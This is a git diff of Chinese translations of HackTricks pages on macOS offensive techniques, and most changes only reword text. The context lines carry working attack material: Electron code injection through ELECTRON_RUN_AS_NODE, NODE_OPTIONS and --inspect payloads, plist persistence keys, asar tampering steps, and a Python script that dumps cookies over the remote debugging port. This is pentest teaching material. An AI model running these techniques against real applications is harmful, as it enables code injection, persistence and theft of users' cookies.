||||
@ -42,7 +42,7 @@ sSendHeader.TypeSpecificData.VersionInfo.m_dwMajorVersion = kCurrentMajorVersion
|
||||
sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion;
|
||||
sSendHeader.m_cbDataBlock = sizeof(SessionRequestData);
|
||||
```
|
||||
该头部随后通过 `write` 系统调用发送到目标,后面跟着包含会话 GUID 的 `sessionRequestData` 结构:
|
||||
该标题随后通过 `write` 系统调用发送到目标,后面是包含会话 GUID 的 `sessionRequestData` 结构:
|
||||
```c
|
||||
write(wr, &sSendHeader, sizeof(MessageHeader));
|
||||
memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData));
|
||||
@ -84,14 +84,14 @@ return true;
|
||||
```
|
||||
相关的POC可以在[这里](https://gist.github.com/xpn/7c3040a7398808747e158a25745380a5)找到。
|
||||
|
||||
## .NET Core 代码执行 <a href="#net-core-code-execution" id="net-core-code-execution"></a>
|
||||
## .NET Core代码执行 <a href="#net-core-code-execution" id="net-core-code-execution"></a>
|
||||
|
||||
要执行代码,需要识别一个具有rwx权限的内存区域,这可以通过使用vmmap -pages:来完成。
|
||||
```bash
|
||||
vmmap -pages [pid]
|
||||
vmmap -pages 35829 | grep "rwx/rwx"
|
||||
```
|
||||
定位一个覆盖函数指针的位置是必要的,在 .NET Core 中,可以通过针对 **Dynamic Function Table (DFT)** 来实现。这个表在 [`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h) 中有详细说明,运行时使用它来进行 JIT 编译辅助函数。
|
||||
定位一个覆盖函数指针的位置是必要的,在 .NET Core 中,可以通过针对 **Dynamic Function Table (DFT)** 来实现。这个表在 [`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h) 中详细描述,是运行时用于 JIT 编译辅助函数的。
|
||||
|
||||
对于 x64 系统,可以使用签名搜索来找到 `libcorclr.dll` 中符号 `_hlpDynamicFuncTable` 的引用。
|
||||
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## 基本信息
|
||||
|
||||
基于 Chromium 的浏览器,如 Google Chrome、Microsoft Edge、Brave 等。这些浏览器建立在 Chromium 开源项目上,这意味着它们共享一个共同的基础,因此具有相似的功能和开发选项。
|
||||
基于 Chromium 的浏览器,如 Google Chrome、Microsoft Edge、Brave 等。这些浏览器建立在 Chromium 开源项目上,这意味着它们共享一个共同的基础,因此具有类似的功能和开发者选项。
|
||||
|
||||
#### `--load-extension` 标志
|
||||
|
||||
|
||||
@ -65,7 +65,7 @@ display dialog theDialogText
|
||||
|
||||
1. 将应用程序复制到不同的位置(例如,`/tmp/`)。
|
||||
2. 重命名应用程序包内的目录以绕过初始保护。
|
||||
3. 在应用程序运行以注册 Gatekeeper 后,修改应用程序包(例如,用 Dirty.nib 替换 MainMenu.nib)。
|
||||
3. 在运行应用程序以注册 Gatekeeper 后,修改应用程序包(例如,用 Dirty.nib 替换 MainMenu.nib)。
|
||||
4. 将目录重命名回去并重新运行应用程序以执行注入的 NIB 文件。
|
||||
|
||||
**注意**:最近的 macOS 更新通过防止在 Gatekeeper 缓存后修改应用程序包内的文件来减轻此漏洞,使其无效。
|
||||
|
||||
@ -9,15 +9,15 @@
|
||||
|
||||
### Electron 保护机制
|
||||
|
||||
这些技术将在接下来的部分讨论,但最近 Electron 添加了几个 **安全标志以防止它们**。这些是 [**Electron 保护机制**](https://www.electronjs.org/docs/latest/tutorial/fuses),用于 **防止** macOS 上的 Electron 应用程序 **加载任意代码**:
|
||||
这些技术将在接下来讨论,但最近 Electron 添加了几个 **安全标志以防止它们**。这些是 [**Electron 保护机制**](https://www.electronjs.org/docs/latest/tutorial/fuses),用于 **防止** macOS 中的 Electron 应用程序 **加载任意代码**:
|
||||
|
||||
- **`RunAsNode`**:如果禁用,它会阻止使用环境变量 **`ELECTRON_RUN_AS_NODE`** 来注入代码。
|
||||
- **`EnableNodeCliInspectArguments`**:如果禁用,像 `--inspect`、`--inspect-brk` 这样的参数将不被尊重。避免通过这种方式注入代码。
|
||||
- **`EnableEmbeddedAsarIntegrityValidation`**:如果启用,加载的 **`asar`** **文件** 将由 macOS **验证**。以此方式 **防止** 通过修改该文件的内容进行 **代码注入**。
|
||||
- **`OnlyLoadAppFromAsar`**:如果启用,它将只检查并使用 app.asar,而不是按以下顺序加载:**`app.asar`**、**`app`**,最后是 **`default_app.asar`**,从而确保当与 **`embeddedAsarIntegrityValidation`** 保护机制 **结合** 使用时,**不可能** **加载未验证的代码**。
|
||||
- **`LoadBrowserProcessSpecificV8Snapshot`**:如果启用,浏览器进程将使用名为 `browser_v8_context_snapshot.bin` 的文件作为其 V8 快照。
|
||||
- **`OnlyLoadAppFromAsar`**:如果启用,它将只检查并使用 app.asar,而不是按以下顺序加载:**`app.asar`**、**`app`**,最后是 **`default_app.asar`**。因此确保当与 **`embeddedAsarIntegrityValidation`** 保护机制 **结合** 时,**不可能** **加载未验证的代码**。
|
||||
- **`LoadBrowserProcessSpecificV8Snapshot`**:如果启用,浏览器进程使用名为 `browser_v8_context_snapshot.bin` 的文件作为其 V8 快照。
|
||||
|
||||
另一个有趣的保护机制不会阻止代码注入的是:
|
||||
另一个有趣的保护机制不会防止代码注入的是:
|
||||
|
||||
- **EnableCookieEncryption**:如果启用,磁盘上的 cookie 存储将使用操作系统级别的加密密钥进行加密。
|
||||
|
||||
@ -39,20 +39,20 @@ LoadBrowserProcessSpecificV8Snapshot is Disabled
|
||||
```
|
||||
### 修改 Electron Fuses
|
||||
|
||||
如[**文档所述**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode),**Electron Fuses**的配置是在**Electron 二进制文件**内部配置的,该文件中包含字符串**`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`**。
|
||||
如[**文档所述**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode),**Electron Fuses**的配置是在包含字符串**`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`**的**Electron 二进制文件**内部配置的。
|
||||
|
||||
在 macOS 应用程序中,这通常位于`application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework`
|
||||
```bash
|
||||
grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/
|
||||
Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches
|
||||
```
|
||||
您可以在 [https://hexed.it/](https://hexed.it/) 中加载此文件并搜索前面的字符串。在此字符串后,您可以在 ASCII 中看到数字 "0" 或 "1",指示每个保险丝是禁用还是启用。只需修改十六进制代码(`0x30` 是 `0`,`0x31` 是 `1`)以 **修改保险丝值**。
|
||||
您可以在 [https://hexed.it/](https://hexed.it/) 中加载此文件并搜索前面的字符串。在此字符串之后,您可以在 ASCII 中看到数字 "0" 或 "1",指示每个保险丝是禁用还是启用。只需修改十六进制代码(`0x30` 是 `0`,`0x31` 是 `1`)以 **修改保险丝值**。
|
||||
|
||||
<figure><img src="../../../images/image (34).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
请注意,如果您尝试 **覆盖** 应用程序内部的 **`Electron Framework`** 二进制文件并修改这些字节,则应用程序将无法运行。
|
||||
|
||||
## 向 Electron 应用程序添加 RCE 代码
|
||||
## RCE 向 Electron 应用程序添加代码
|
||||
|
||||
可能有 **外部 JS/HTML 文件** 被 Electron 应用程序使用,因此攻击者可以在这些文件中注入代码,这些文件的签名不会被检查,并在应用程序的上下文中执行任意代码。
|
||||
|
||||
@ -62,7 +62,7 @@ Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions
|
||||
> - 修改应用程序需要 **`kTCCServiceSystemPolicyAppBundles`** 权限,因此默认情况下这不再可能。
|
||||
> - 编译后的 **`asap`** 文件通常具有 **`embeddedAsarIntegrityValidation`** 和 **`onlyLoadAppFromAsar`** 权限 `启用`
|
||||
>
|
||||
> 这使得攻击路径更加复杂(或不可能)。
|
||||
> 使得此攻击路径更加复杂(或不可能)。
|
||||
|
||||
请注意,可以通过将应用程序复制到另一个目录(如 **`/tmp`**),将文件夹 **`app.app/Contents`** 重命名为 **`app.app/NotCon`**,**修改** **asar** 文件以包含您的 **恶意** 代码,然后将其重命名回 **`app.app/Contents`** 并执行它,从而绕过 **`kTCCServiceSystemPolicyAppBundles`** 的要求。
|
||||
|
||||
@ -88,7 +88,7 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
|
||||
|
||||
### 从应用程序 Plist 注入
|
||||
|
||||
正如 [**这里提到的**](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks/),您可以在 plist 中滥用这个环境变量以保持持久性:
|
||||
正如 [**这里提到的**](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks/),您可以在 plist 中滥用此环境变量以保持持久性:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
@ -129,7 +129,7 @@ NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Di
|
||||
|
||||
### 从 App Plist 注入
|
||||
|
||||
您可以在 plist 中滥用此环境变量以保持持久性,添加以下键:
|
||||
您可以在 plist 中滥用此环境变量,通过添加以下键来保持持久性:
|
||||
```xml
|
||||
<dict>
|
||||
<key>EnvironmentVariables</key>
|
||||
@ -147,7 +147,7 @@ NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Di
|
||||
```
|
||||
## RCE with inspecting
|
||||
|
||||
根据[**这个**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f),如果你使用 **`--inspect`**、**`--inspect-brk`** 和 **`--remote-debugging-port`** 等标志执行 Electron 应用程序,**调试端口将会打开**,这样你就可以连接到它(例如从 Chrome 的 `chrome://inspect`)并且你将能够**在其上注入代码**,甚至启动新进程。\
|
||||
根据[**这个**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f)的说法,如果你使用 **`--inspect`**、**`--inspect-brk`** 和 **`--remote-debugging-port`** 等标志执行 Electron 应用程序,将会 **打开一个调试端口**,这样你就可以连接到它(例如从 Chrome 的 `chrome://inspect`)并且你将能够 **在其上注入代码**,甚至启动新进程。\
|
||||
例如:
|
||||
```bash
|
||||
/Applications/Signal.app/Contents/MacOS/Signal --inspect=9229
|
||||
@ -159,7 +159,7 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
|
||||
>
|
||||
> 然而,您仍然可以使用 **electron 参数 `--remote-debugging-port=9229`**,但之前的有效载荷将无法执行其他进程。
|
||||
|
||||
使用参数 **`--remote-debugging-port=9222`** 可以从 Electron 应用程序中窃取一些信息,如 **历史记录**(使用 GET 命令)或浏览器的 **cookies**(因为它们在浏览器内部 **解密**,并且有一个 **json 端点** 可以提供它们)。
|
||||
使用参数 **`--remote-debugging-port=9222`** 可以从 Electron 应用程序中窃取一些信息,如 **历史记录**(使用 GET 命令)或浏览器的 **cookies**(因为它们在浏览器内部是 **解密** 的,并且有一个 **json 端点** 可以提供它们)。
|
||||
|
||||
您可以在 [**这里**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e) 和 [**这里**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f) 学习如何做到这一点,并使用自动工具 [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) 或简单的脚本,如:
|
||||
```python
|
||||
@ -169,7 +169,7 @@ ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00",
|
||||
ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}')
|
||||
print(ws.recv()
|
||||
```
|
||||
在[**这篇博客**](https://hackerone.com/reports/1274695)中,这种调试被滥用,使得无头 Chrome **在任意位置下载任意文件**。
|
||||
在[**这篇博客**](https://hackerone.com/reports/1274695)中,这种调试被滥用以使无头 Chrome **在任意位置下载任意文件**。
|
||||
|
||||
### 从应用程序 Plist 注入
|
||||
|
||||
|
||||
@ -1,4 +1,4 @@
|
||||
# macOS Function Hooking
|
||||
# macOS 函数钩子
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -80,7 +80,7 @@ Hello from interpose
|
||||
> [!WARNING]
|
||||
> **`DYLD_PRINT_INTERPOSTING`** 环境变量可用于调试插入,并将打印插入过程。
|
||||
|
||||
还要注意,**插入发生在进程和加载的库之间**,它不适用于共享库缓存。
|
||||
还要注意,**插入发生在进程与加载的库之间**,它不适用于共享库缓存。
|
||||
|
||||
### 动态插入
|
||||
|
||||
@ -99,14 +99,14 @@ const struct dyld_interpose_tuple array[], size_t count);
|
||||
|
||||
在 ObjectiveC 中,方法调用的方式是:**`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`**
|
||||
|
||||
需要 **对象**、**方法**和 **参数**。当调用一个方法时,使用函数 **`objc_msgSend`** 发送 **msg**:`int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`
|
||||
需要 **对象**、**方法**和 **参数**。当调用一个方法时,会使用函数 **`objc_msgSend`** 发送 **msg**:`int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`
|
||||
|
||||
对象是 **`someObject`**,方法是 **`@selector(method1p1:p2:)`**,参数是 **value1**,**value2**。
|
||||
|
||||
根据对象结构,可以访问一个 **方法数组**,其中 **名称** 和 **指向方法代码的指针** 被 **存放**。
|
||||
|
||||
> [!CAUTION]
|
||||
> 请注意,由于方法和类是根据其名称访问的,因此这些信息存储在二进制文件中,因此可以使用 `otool -ov </path/bin>` 或 [`class-dump </path/bin>`](https://github.com/nygard/class-dump) 来检索。
|
||||
> 请注意,由于方法和类是根据其名称访问的,因此这些信息存储在二进制文件中,因此可以使用 `otool -ov </path/bin>` 或 [`class-dump </path/bin>`](https://github.com/nygard/class-dump) 检索它。
|
||||
|
||||
### 访问原始方法
|
||||
|
||||
@ -226,13 +226,13 @@ return 0;
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
> 在这种情况下,如果**合法**方法的**实现代码**对**方法****名称**进行**验证**,它可能会**检测**到这种交换并阻止其运行。
|
||||
> 在这种情况下,如果**合法**方法的**实现代码**对**方法**的**名称**进行**验证**,它可能会**检测**到这种交换并阻止其运行。
|
||||
>
|
||||
> 以下技术没有这个限制。
|
||||
|
||||
### 使用 method_setImplementation 进行方法交换
|
||||
|
||||
之前的格式很奇怪,因为你正在将两个方法的实现互换。使用函数 **`method_setImplementation`**,你可以**更改**一个**方法**的**实现**为另一个**方法**的**实现**。
|
||||
之前的格式很奇怪,因为你正在将两个方法的实现互换。使用函数 **`method_setImplementation`**,你可以**更改**一个**方法的实现为另一个**。
|
||||
|
||||
只需记住,如果你打算在覆盖之前从新实现中调用原始实现,请**存储原始实现的地址**,因为稍后定位该地址会更加复杂。
|
||||
```objectivec
|
||||
@ -292,7 +292,7 @@ return 0;
|
||||
|
||||
为了做到这一点,最简单的技术是通过环境变量或劫持注入一个[Dyld](macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md)。然而,我想这也可以通过[Dylib 进程注入](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port)来完成。
|
||||
|
||||
然而,这两种选项都**限制**于**未保护**的二进制文件/进程。检查每种技术以了解更多关于限制的信息。
|
||||
然而,这两种选项都**仅限于****未保护**的二进制文件/进程。检查每种技术以了解更多关于限制的信息。
|
||||
|
||||
然而,函数钩取攻击是非常具体的,攻击者会这样做以**从进程内部窃取敏感信息**(否则你只会进行进程注入攻击)。而这些敏感信息可能位于用户下载的应用程序中,例如 MacPass。
|
||||
|
||||
|
||||
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Mach 通过端口进行消息传递
|
||||
## Mach 消息通过端口
|
||||
|
||||
### 基本信息
|
||||
|
||||
@ -10,7 +10,7 @@ Mach 使用 **任务** 作为共享资源的 **最小单位**,每个任务可
|
||||
|
||||
任务之间的通信通过 Mach 进程间通信 (IPC) 进行,利用单向通信通道。**消息在端口之间传输**,这些端口充当由内核管理的 **消息队列**。
|
||||
|
||||
**端口** 是 Mach IPC 的 **基本** 元素。它可以用来 **发送和接收** 消息。
|
||||
**端口** 是 Mach IPC 的 **基本** 元素。它可以用来 **发送消息和接收** 消息。
|
||||
|
||||
每个进程都有一个 **IPC 表**,在其中可以找到 **进程的 mach 端口**。mach 端口的名称实际上是一个数字(指向内核对象的指针)。
|
||||
|
||||
@ -18,20 +18,20 @@ Mach 使用 **任务** 作为共享资源的 **最小单位**,每个任务可
|
||||
|
||||
### 端口权限
|
||||
|
||||
定义任务可以执行哪些操作的端口权限是这种通信的关键。可能的 **端口权限** 是([定义来自这里](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
|
||||
端口权限定义了任务可以执行的操作,是这种通信的关键。可能的 **端口权限** 是([定义来自这里](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
|
||||
|
||||
- **接收权限**,允许接收发送到端口的消息。Mach 端口是 MPSC(多个生产者,单个消费者)队列,这意味着在整个系统中每个端口只能有 **一个接收权限**(与管道不同,多个进程可以持有一个管道的读端文件描述符)。
|
||||
- 拥有 **接收权限** 的 **任务** 可以接收消息并 **创建发送权限**,允许其发送消息。最初只有 **自己的任务对其端口拥有接收权限**。
|
||||
- 拥有 **接收权限** 的任务可以接收消息并 **创建发送权限**,允许其发送消息。最初只有 **自己的任务对其端口拥有接收权限**。
|
||||
- 如果接收权限的拥有者 **死亡** 或被杀死,**发送权限变得无用(死名)**。
|
||||
- **发送权限**,允许向端口发送消息。
|
||||
- 发送权限可以被 **克隆**,因此拥有发送权限的任务可以克隆该权限并 **授予给第三个任务**。
|
||||
- 请注意,**端口权限** 也可以通过 Mac 消息 **传递**。
|
||||
- 注意 **端口权限** 也可以通过 Mac 消息 **传递**。
|
||||
- **一次性发送权限**,允许向端口发送一条消息,然后消失。
|
||||
- 该权限 **不能** 被 **克隆**,但可以被 **移动**。
|
||||
- **端口集权限**,表示一个 _端口集_ 而不是单个端口。从端口集中出队一条消息会从其包含的一个端口中出队一条消息。端口集可以用于同时监听多个端口,类似于 Unix 中的 `select`/`poll`/`epoll`/`kqueue`。
|
||||
- **死名**,这不是一个实际的端口权限,而只是一个占位符。当一个端口被销毁时,所有现有的对该端口的端口权限都会变成死名。
|
||||
- **死名**,这不是一个实际的端口权限,而只是一个占位符。当一个端口被销毁时,所有现有的端口权限变成死名。
|
||||
|
||||
**任务可以将发送权限转移给其他任务**,使其能够发送消息。**发送权限也可以被克隆,因此一个任务可以复制并将权限授予第三个任务**。这与一个称为 **引导服务器** 的中介进程结合,允许任务之间有效通信。
|
||||
**任务可以将发送权限转移给其他任务**,使其能够发送消息回来。**发送权限也可以被克隆,因此一个任务可以复制并将权限授予第三个任务**。这与一个称为 **引导服务器** 的中介进程结合,允许任务之间有效通信。
|
||||
|
||||
### 文件端口
|
||||
|
||||
@ -45,17 +45,17 @@ Mach 使用 **任务** 作为共享资源的 **最小单位**,每个任务可
|
||||
|
||||
1. 任务 **A** 创建一个 **新端口**,获得该端口的 **接收权限**。
|
||||
2. 任务 **A**,作为接收权限的持有者,**为该端口生成一个发送权限**。
|
||||
3. 任务 **A** 与 **引导服务器** 建立 **连接**,并 **将其为最初生成的端口发送的发送权限** 发送给它。
|
||||
3. 任务 **A** 与 **引导服务器** 建立 **连接**,并 **将其生成的端口的发送权限发送给它**。
|
||||
- 请记住,任何人都可以获得引导服务器的发送权限。
|
||||
4. 任务 A 向引导服务器发送 `bootstrap_register` 消息,以 **将给定端口与名称** 关联,如 `com.apple.taska`。
|
||||
5. 任务 **B** 与 **引导服务器** 交互以执行服务名称的引导 **查找**(`bootstrap_lookup`)。因此,引导服务器可以响应,任务 B 将在查找消息中发送 **先前创建的端口的发送权限**。如果查找成功,**服务器会复制从任务 A 接收到的发送权限** 并 **将其传输给任务 B**。
|
||||
4. 任务 A 向引导服务器发送 `bootstrap_register` 消息,以 **将给定端口与名称关联**,如 `com.apple.taska`。
|
||||
5. 任务 **B** 与 **引导服务器** 交互以执行服务名称的引导 **查找**(`bootstrap_lookup`)。因此,引导服务器可以响应,任务 B 将在查找消息中发送 **先前创建的端口的发送权限**。如果查找成功,**服务器复制从任务 A 接收到的发送权限**并 **将其传输给任务 B**。
|
||||
- 请记住,任何人都可以获得引导服务器的发送权限。
|
||||
6. 通过这个发送权限,**任务 B** 能够 **发送** 一条 **消息** **给任务 A**。
|
||||
7. 对于双向通信,通常任务 **B** 会生成一个带有 **接收** 权限和 **发送** 权限的新端口,并将 **发送权限授予任务 A**,以便它可以向任务 B 发送消息(双向通信)。
|
||||
|
||||
引导服务器 **无法验证** 任务声称的服务名称。这意味着一个 **任务** 可能会 **冒充任何系统任务**,例如虚假 **声称一个授权服务名称**,然后批准每个请求。
|
||||
|
||||
然后,Apple 将 **系统提供服务的名称** 存储在安全配置文件中,位于 **SIP 保护** 目录:`/System/Library/LaunchDaemons` 和 `/System/Library/LaunchAgents`。每个服务名称旁边,**相关的二进制文件也被存储**。引导服务器将为每个这些服务名称创建并持有一个 **接收权限**。
|
||||
然后,Apple 将 **系统提供的服务名称** 存储在安全配置文件中,位于 **SIP 保护** 目录:`/System/Library/LaunchDaemons` 和 `/System/Library/LaunchAgents`。每个服务名称旁边,**相关的二进制文件也被存储**。引导服务器将为每个这些服务名称创建并持有 **接收权限**。
|
||||
|
||||
对于这些预定义服务,**查找过程略有不同**。当查找服务名称时,launchd 动态启动该服务。新的工作流程如下:
|
||||
|
||||
@ -74,7 +74,7 @@ Mach 使用 **任务** 作为共享资源的 **最小单位**,每个任务可
|
||||
|
||||
[在这里找到更多信息](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||
|
||||
`mach_msg` 函数,基本上是一个系统调用,用于发送和接收 Mach 消息。该函数要求将要发送的消息作为初始参数。此消息必须以 `mach_msg_header_t` 结构开头,后面跟着实际的消息内容。该结构定义如下:
|
||||
`mach_msg` 函数,基本上是一个系统调用,用于发送和接收 Mach 消息。该函数要求将要发送的消息作为初始参数。此消息必须以 `mach_msg_header_t` 结构开始,后面跟着实际的消息内容。该结构定义如下:
|
||||
```c
|
||||
typedef struct {
|
||||
mach_msg_bits_t msgh_bits;
|
||||
@ -90,10 +90,10 @@ mach_msg_id_t msgh_id;
|
||||
初始字段 **`msgh_bits`** 是一个位图:
|
||||
|
||||
- 第一个位(最重要的位)用于指示消息是否复杂(下面会详细说明)
|
||||
- 第3位和第4位由内核使用
|
||||
- **第二个字节的5个最低有效位** 可用于 **凭证**:另一种发送键/值组合的端口类型。
|
||||
- **第三个字节的5个最低有效位** 可用于 **本地端口**
|
||||
- **第四个字节的5个最低有效位** 可用于 **远程端口**
|
||||
- 第 3 位和第 4 位由内核使用
|
||||
- **第二个字节的 5 个最低有效位** 可用于 **凭证**:另一种发送键/值组合的端口类型。
|
||||
- **第三个字节的 5 个最低有效位** 可用于 **本地端口**
|
||||
- **第四个字节的 5 个最低有效位** 可用于 **远程端口**
|
||||
|
||||
可以在凭证、本地和远程端口中指定的类型是(来自 [**mach/message.h**](https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/mach/message.h.auto.html)):
|
||||
```c
|
||||
@ -113,7 +113,7 @@ mach_msg_id_t msgh_id;
|
||||
为了实现简单的 **双向通信**,进程可以在 mach **消息头** 中指定一个 **mach 端口**,称为 _回复端口_ (**`msgh_local_port`**),接收该消息的 **接收者** 可以 **发送回复**。
|
||||
|
||||
> [!TIP]
|
||||
> 请注意,这种双向通信用于期望重放的 XPC 消息中(`xpc_connection_send_message_with_reply` 和 `xpc_connection_send_message_with_reply_sync`)。但 **通常会创建不同的端口**,如前所述,以创建双向通信。
|
||||
> 请注意,这种双向通信用于期望重播的 XPC 消息中(`xpc_connection_send_message_with_reply` 和 `xpc_connection_send_message_with_reply_sync`)。但 **通常会创建不同的端口**,如前所述,以创建双向通信。
|
||||
|
||||
消息头的其他字段包括:
|
||||
|
||||
@ -123,7 +123,7 @@ mach_msg_id_t msgh_id;
|
||||
- `msgh_id`:此消息的 ID,由接收者解释。
|
||||
|
||||
> [!CAUTION]
|
||||
> 请注意,**mach 消息是通过 `mach port` 发送的**,这是一个内置于 mach 内核的 **单接收者**、**多个发送者** 通信通道。**多个进程**可以 **向 mach 端口发送消息**,但在任何时候只有 **一个进程可以从中读取**。
|
||||
> 请注意,**mach 消息是通过 `mach port` 发送的**,这是一种 **单接收者**、**多发送者** 的通信通道,内置于 mach 内核中。**多个进程**可以 **向 mach 端口发送消息**,但在任何时候只有 **一个进程可以从中读取**。
|
||||
|
||||
消息由 **`mach_msg_header_t`** 头部、**主体**和 **尾部**(如果有的话)组成,并且可以授予回复的权限。在这些情况下,内核只需将消息从一个任务传递到另一个任务。
|
||||
|
||||
@ -168,7 +168,7 @@ mach_msg_descriptor_type_t type : 8;
|
||||
- `mach_port_type`: 获取任务对名称的权限
|
||||
- `mach_port_rename`: 重命名端口(类似于FD的dup2)
|
||||
- `mach_port_allocate`: 分配一个新的RECEIVE、PORT_SET或DEAD_NAME
|
||||
- `mach_port_insert_right`: 在你拥有RECEIVE的端口中创建一个新的权限
|
||||
- `mach_port_insert_right`: 在你拥有RECEIVE的端口中创建一个新权限
|
||||
- `mach_port_...`
|
||||
- **`mach_msg`** | **`mach_msg_overwrite`**: 用于**发送和接收mach消息**的函数。覆盖版本允许为消息接收指定不同的缓冲区(另一个版本将仅重用它)。
|
||||
|
||||
@ -176,33 +176,33 @@ mach_msg_descriptor_type_t type : 8;
|
||||
|
||||
由于**`mach_msg`**和**`mach_msg_overwrite`**是用于发送和接收消息的函数,因此在它们上设置断点将允许检查发送和接收的消息。
|
||||
|
||||
例如,开始调试任何可以调试的应用程序,因为它将加载**`libSystem.B`,该库将使用此函数**。
|
||||
例如,开始调试任何你可以调试的应用程序,因为它将加载**`libSystem.B`,该库将使用此函数**。
|
||||
|
||||
<pre class="language-armasm"><code class="lang-armasm"><strong>(lldb) b mach_msg
|
||||
</strong>断点 1: 位置 = libsystem_kernel.dylib`mach_msg, 地址 = 0x00000001803f6c20
|
||||
</strong>Breakpoint 1: where = libsystem_kernel.dylib`mach_msg, address = 0x00000001803f6c20
|
||||
<strong>(lldb) r
|
||||
</strong>进程 71019 启动: '/Users/carlospolop/Desktop/sandboxedapp/SandboxedShellAppDown.app/Contents/MacOS/SandboxedShellApp' (arm64)
|
||||
进程 71019 停止
|
||||
* 线程 #1, 队列 = 'com.apple.main-thread', 停止原因 = 断点 1.1
|
||||
帧 #0: 0x0000000181d3ac20 libsystem_kernel.dylib`mach_msg
|
||||
</strong>Process 71019 launched: '/Users/carlospolop/Desktop/sandboxedapp/SandboxedShellAppDown.app/Contents/MacOS/SandboxedShellApp' (arm64)
|
||||
Process 71019 stopped
|
||||
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
|
||||
frame #0: 0x0000000181d3ac20 libsystem_kernel.dylib`mach_msg
|
||||
libsystem_kernel.dylib`mach_msg:
|
||||
-> 0x181d3ac20 <+0>: pacibsp
|
||||
0x181d3ac24 <+4>: sub sp, sp, #0x20
|
||||
0x181d3ac28 <+8>: stp x29, x30, [sp, #0x10]
|
||||
0x181d3ac2c <+12>: add x29, sp, #0x10
|
||||
目标 0: (SandboxedShellApp) 停止。
|
||||
Target 0: (SandboxedShellApp) stopped.
|
||||
<strong>(lldb) bt
|
||||
</strong>* 线程 #1, 队列 = 'com.apple.main-thread', 停止原因 = 断点 1.1
|
||||
* 帧 #0: 0x0000000181d3ac20 libsystem_kernel.dylib`mach_msg
|
||||
帧 #1: 0x0000000181ac3454 libxpc.dylib`_xpc_pipe_mach_msg + 56
|
||||
帧 #2: 0x0000000181ac2c8c libxpc.dylib`_xpc_pipe_routine + 388
|
||||
帧 #3: 0x0000000181a9a710 libxpc.dylib`_xpc_interface_routine + 208
|
||||
帧 #4: 0x0000000181abbe24 libxpc.dylib`_xpc_init_pid_domain + 348
|
||||
帧 #5: 0x0000000181abb398 libxpc.dylib`_xpc_uncork_pid_domain_locked + 76
|
||||
帧 #6: 0x0000000181abbbfc libxpc.dylib`_xpc_early_init + 92
|
||||
帧 #7: 0x0000000181a9583c libxpc.dylib`_libxpc_initializer + 1104
|
||||
帧 #8: 0x000000018e59e6ac libSystem.B.dylib`libSystem_initializer + 236
|
||||
帧 #9: 0x0000000181a1d5c8 dyld`invocation function for block in dyld4::Loader::findAndRunAllInitializers(dyld4::RuntimeState&) const::$_0::operator()() const + 168
|
||||
</strong>* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
|
||||
* frame #0: 0x0000000181d3ac20 libsystem_kernel.dylib`mach_msg
|
||||
frame #1: 0x0000000181ac3454 libxpc.dylib`_xpc_pipe_mach_msg + 56
|
||||
frame #2: 0x0000000181ac2c8c libxpc.dylib`_xpc_pipe_routine + 388
|
||||
frame #3: 0x0000000181a9a710 libxpc.dylib`_xpc_interface_routine + 208
|
||||
frame #4: 0x0000000181abbe24 libxpc.dylib`_xpc_init_pid_domain + 348
|
||||
frame #5: 0x0000000181abb398 libxpc.dylib`_xpc_uncork_pid_domain_locked + 76
|
||||
